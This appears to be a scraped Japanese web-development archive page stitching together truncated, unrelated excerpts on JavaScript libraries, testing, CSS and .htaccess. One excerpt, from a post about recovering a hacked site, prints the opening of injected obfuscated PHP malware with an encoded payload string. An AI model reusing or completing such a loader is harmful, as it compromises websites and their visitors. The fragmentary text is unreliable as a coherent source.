Code Archive Skip to content Google About Google Privacy Terms

メモリの節約は、アプリケーション開発において常に重要です。デスクトップ向けのアプリケーションであっても重要なことに変わりありません。モバイルデバイスでは、特にメモリ消費が重視されるので、アプリケーションで消費するメモリ容量を制限することが求められます。 表示オブジェクト プリミティブ型 オブジェクトの再利用 メモリの解放 ビットマップの使用 フィルターおよびビットマップの動的アンロード ダイレクトミップマッピング 3D 効果の使用 テキストオブジェクトとメモリ イベントモデルとコールバック

本稿は、Sencha公式ドキュメントの Unit Testing with Jasmine の翻訳です。 I. 導入 このチュートリアルでは既存のExtアプリケーションを取り上げ、ユニットテストするJasmineアサーションライブラリを紹介します。 読者はJavaScript, Ext JS 4, MVCアーキテクチャ及びHTML, CSSの基本及びリソースの使い方について精通している人が対象です。 なぜテストするのか? アプリケーションをテストするには多くの理由があります。 テストはすべてのユースケースを手動で消し込んでゆくことなくアプリケーションの機能性を検証できます。 さらに、アプリケーションがリファクタリングやアップデートされる時に、 テストはそれらの変更がシステムに当たらしバグを呼び込まないように検証することが出来ます。 II. はじめに このチュートリアルではExtJSにバンド

圧縮後のファイルサイズはenchant.jsのほうが3kbほど少ないですね。 どちらもjs上に継承などを行う擬似クラスを作るためのClass要素があったり、スマートフォン/PC両方で使えるようにtouch系イベントとmouseDown/Move系イベントを判定したり、fps(フレーム数）を設定してフレーム毎のイベントを設定するなどしています。 後発だけあって、Arctic.jsのほうはenchant.jsの機能をパクったenchant.jsにある機能はだいたいあるような感じですね。 オブジェクトの描画についてですが、Canvasでの描画の方が性能的に有利かもしれませんが、enchant.jsは divタグ毎にオブジェクトに持っていることで利便性をあげています。既存のアニメーション効果をdivタグ単位で 適応することにより、今までのエフェクトを使いまわすことができるのです。 ench

CoffeeScript クイックリファレンス ・ coffeescript.org ・ ・ 一般1 • 空白は重要 • 行の結びは式の結び - セミコロン不要 • セミコロンは一行に複数式を押し込むために使 える • 関数や if 文、 switch, try/catch の中のコー ドのブロックを囲むのに中括弧 { } の代わり にインデントを使うこと • コメントは # で始まり、行の終わりまで続く 関数 • 関数は、括弧内のオプショナルなパラメータリ ストと矢印、オプショナルな関数本体で定義さ れる。空の関数はこんな感じ: -> • 関数を呼び出すのに引数を渡す際、括弧はほと んどの場合不要。暗黙のコールは、行かブロッ ク式の終わりに至るまで引数とみなす。 • 関数は引数のデフォルト値を持つことが可能。 デフォルト値を変えるには null でない引数を 渡すこと。 オブジェクトと配列

なんかrails3.2でpjaxを公式にサポート云々みたいな話をきいてたけど、箱を開けてみたらそれっぽい差分がちょっと見当たらなくてついカッとなってしまったので、既存の資産で試してみることにしました。pjaxを。 rails向けのpjax-railsというgemがありますが、半年ぐらいメンテされてなくて不安なので、pjax-railsのなかで使われてるjquery-pjaxを普通につかうことにします。jquery-pjaxも4ヶ月ぐらい動きがないみたいですが、カッとなっているのでそういう細かいことは気にしません。 https://github.com/defunkt/jquery-pjax さっそく読み込んで、aタグにイベントをバインドしましょう。差し替える要素に"data-pjax-container"という属性が記述されてるものとします。 $("a:not([data-remote])

改ざんされてウィルス配布コード埋めこまれてから復旧までの作業や申請の手続きについてまとめていきます。 追記: 「改ざんされた場合そのものの対処方法」という意味で書かせて頂きました。phpMyAdmin の脆弱性についてではなく全般的な内容となっております。誤解を与える表現となってしまい申し訳御座いません。 今回埋めこまれた不正なコード 実際のコードは改行やスペースがなくなって一行のコードとなっておりますので非常に気づきにくいです。 <?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) { $eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn

FileSaver.jsはクライアントサイドでデータを生成しダウンロードするJavaScriptライブラリです。 Webアプリケーションが増える中、Webブラウザ上で作ったコンテンツをそのままエクスポートする時に使えるライブラリがFileSaver.jsです。 まず画像を保存するデモです。 こんな感じに適当にマウスで文字を書きます。 ファイル名をつけて保存ボタンを押すと保存が実行されます（ウィンドウ下部にダウンロードファイルがあります）。 ダウンロードされたファイルです。内容が動的に生成されているのが分かります。 同様にテキストの保存もできます。 テキストファイルの内容も動的です。UTF-8で作成されます。 HTMLファイルの保存もできます。 FileSaver.jsはコンテンツをCanvasタグにレンダリングし、それをダウンロードしているようです。HTML5対応ブラウザに限定されますが、

「crocro.jscam」JavaScriptでWebカメラの画像を取得するライブラリ はじめに 「crocro.jscam」は、JavaScriptで、Webカメラの画像を取得するためのライブラリです。 動作対象はHTML5以上、PCとなります。デバッグを行ったのは、Chrome16、IE9、Firefox9になります。 本ライブラリは、以下のようなことを行なえます。 Webカメラの画像のキャプチャ。 キャプチャした画像の2値化（白黒化）。 2値化を元にしたラベリング（領域分割）。 ドットパターンの検出、あるいはマーカーの検出（4隅の位置と向き）。 キャプチャを指定した場合の即時コールバック処理（各種解析データの取得）。 検出時のコールバック処理（各種解析データの取得）。 Webカメラで取得した画像をHTML5で利用したいといった用途や、マーカーをコントローラー代わりに使った簡単なゲー

Wanna to make your app more beautiful? Wanna to make your app better?This Android UI Patterns app will give you many useful UI design patterns. Applying these design patterns will not only make your app more beautiful but also bring better user experience for users.In this version, you will have: * Titlebar & Dashboard - android-actionbar - android-ui-patterns - Dashboard demo * ViewPager - androi

Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s w

Arctic.jsとは Arctic.jsは、ActionScript3ライクに記述できる、主にゲーム開発で使用することを目的とした HTML5開発支援フレームワーク(JavaScriptライブラリ)です。 ディー・エヌ・エー（DeNA）が自社アプリ開発用に社内で使われていたようですが、2012年1月24日にオープンソース化されました。 Mobageの「ガンダムロワイヤル」などで使用されているとのことです。 ライセンスはMIT Licenseで提供されています。 以下のような特長があります。 豊富なアニメーション作成支援機能 表示ツリー、イベント伝播モデル ActionScript3.0＊4と近いAPI による、Flash 開発経験者の学習負担軽減 各種スマートフォン OS の断片化を吸収し、開発工数を大幅に削減 ※ DeNA株式会社様のプレスリリースより抜粋させていただきました Arct

HTML5 Please - Use the new and shiny responsibly HTML5のブラウザ対応状況がサクッと分かる「HTML5 Please」 HTML5の学習や利用時に便利に使えそうです 条件指定でJavaScriptによってサクリと絞り込み可能。ページ遷移なしってのはいいですね プロパティの対応状況のサマリが見れます ９割がたのブラウザでHTML5が使える日はいつ頃でしょうね IEなどはどんどん強制アップデートをかけてもらいたいです 関連エントリ HTML5ゲームに使えるローディング表示機能付きプレロード用JSライブラリ「PxLoader」 HTML5のcanvasを使ったアニメーションするタグクラウド実装スクリプト「TagCanvas」 Flash使ってなくてもHTML5でここまでクールにできるというプロフェッショナルサイト集 サーバ送信不要なHTML5に

jQuery Collapse | webcloud コンテンツの折りたたみを楽々実装できるjQueryプラグイン「jQuery Collapse」。 コンテンツがいっぱいあるより、まずは少ないコンテンツのほうが、理解しやすくて分かりやすいですよね。 そこで折りたたみですが、アニメーションしつつ綺麗に実装できる折りたたみが簡単なマークアップとコードで実装できます。 見出しをhタグで作って中身をdivで書けばよいだけです これだけ作るだけでも一昔前は苦労していたものですが、技術の進歩によりどんどん簡単になりますね。 関連エントリ クールなタグ入力＆オートコンプリート機能付きフィールド実装jQueryプラグイン「TextExt」 面白いテキストアニメーションが作れるjQueryプラグイン「textualizer」 紙芝居のようなアニメーションでスライドするスライダー実装jQueryプラグイン「

Sliding Image Panels with CSS3 | Codrops CSS3で画像を分割スライドする超クールなパネル実装例。 例えば、画像が４枚に分割されていてそれらがアニメーションで次の画像に切り替わるというエフェクトをCSS3で実現しています。 アニメーションの種類は４種類あって、全部CSS3でJSオフで動きます。クオリティが超高いので、ダウンロード版をそのまま使いまわすことも可能。 デモページ 関連エントリ CSS3のプロパティやサンプルを調べるのに便利な「CSS3 Click Chart」 CSS3で出来たクールなLightBox実装チュートリアル フルスクリーン背景がスライドショーになるCSS3サンプル

Demo 4: Set/animate 「Animate me」でアニメーション。 Arctext.jsの使い方 Arctext.jsは「Lettering.js」をベースに文字をパスに沿わせて正しく回転させ配置します。 Lettering.jsについては、下記を参考ください。 HTMLファイルを汚さずに細かい設定でspanを挿入できるスクリプト -Lettering.JS では、Arctext.jsの使い方を。 外部ファイル 「jquery.js」と当スクリプトを外部ファイルとして記述します。 <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script> <script type="text/javascript" src="js

AS3ライクに記述できるJavaScriptゲームライブラリです。(ライセンスはMIT License) ダウンロード - https://github.com/DeNADev/Arctic.js <html> <head> <script type="text/javascript" src="js/arctic.js"></script> <script type="text/javascript" src="js/game.js"></script> </head> <body> <canvas id="canvas"></canvas> </body> </html> (function() { // arcGameクラスを継承したメインクラス var Main = arc.Class.create(arc.Game, { // コンストラクタ(必要なら引数を指定) initial

Resumable.js: Fault Tolerant Resumable File Uploads in JavaScript - Badass JavaScript ファイルアップロードのレジュームをブラウザ上で行える「Resumable.js」。 HTML5のAPIを使ってこうしたことが実現できるようになるみたいです。 ファイルが大きくなり、回線も太くなりますがブラウザベースだと落ちちゃったらまたやり直しと回線も無駄ですし、何より時間のムダですね。 こういった機能が広まれば沢山の人の無駄を減らせそうです 動作ムービーは以下に。 何年後かには当たり前になっていてそんな時代があったの？ということになるかもしれませんね githubにてソースが公開されています 関連エントリ HTML5ゲームに使えるローディング表示機能付きプレロード用JSライブラリ「PxLoader」 HTML5のcan

ブログやウェブサイトのパフォーマンス改善や運営・セキュリティに役立つ「.htaccess」の設定を紹介します。 .htaccess Files for the Rest of Us [ad#ad-2] 下記は各ポイントを意訳したものです。 リダイレクトとリライト オリジナルのエラーページ 特定のリソースへのアクセス制限 特定のIPのアクセス阻止 IEのレンダリングモードの設定 有効期限を設定してトラフィックを軽減 gzip圧縮の利用 リダイレクトとリライト リダイレクト サイトを移転したなど、永続的なリダイレクトには「HTTP301リダイレクト」で設定します。 転送先のURLは絶対URLで指定します。 Redirect 301 ^old\.html$ http://ドメイン/new.html リライト リライト（書き換え）をする場合は、下記のようになります。 RewriteEngine o

画像を使用せずに、シンプルなHTMLで美しいパンくずを実装するスタイルシートのチュートリアルを紹介します。 CSS3 breadcrumbs [ad#ad-2] デモ 実装 デモ デモはCSS3、疑似要素を使用しているため、IE9+, Firefox, Chrome, Safari, Operaでご覧ください。 4つデモは、全て画像を使用していません。 デモページ：ホバー時 実装 HTML HTMLは非常にシンプルで、リスト要素を使用します。 ul要素にid、現在位置にclassを記述します。 <ul id="breadcrumbs-one"> <li><a href="">Lorem ipsum</a></li> <li><a href="">Vivamus nisi eros</a></li> <li><a href="">Nulla sed lorem risus</a></li>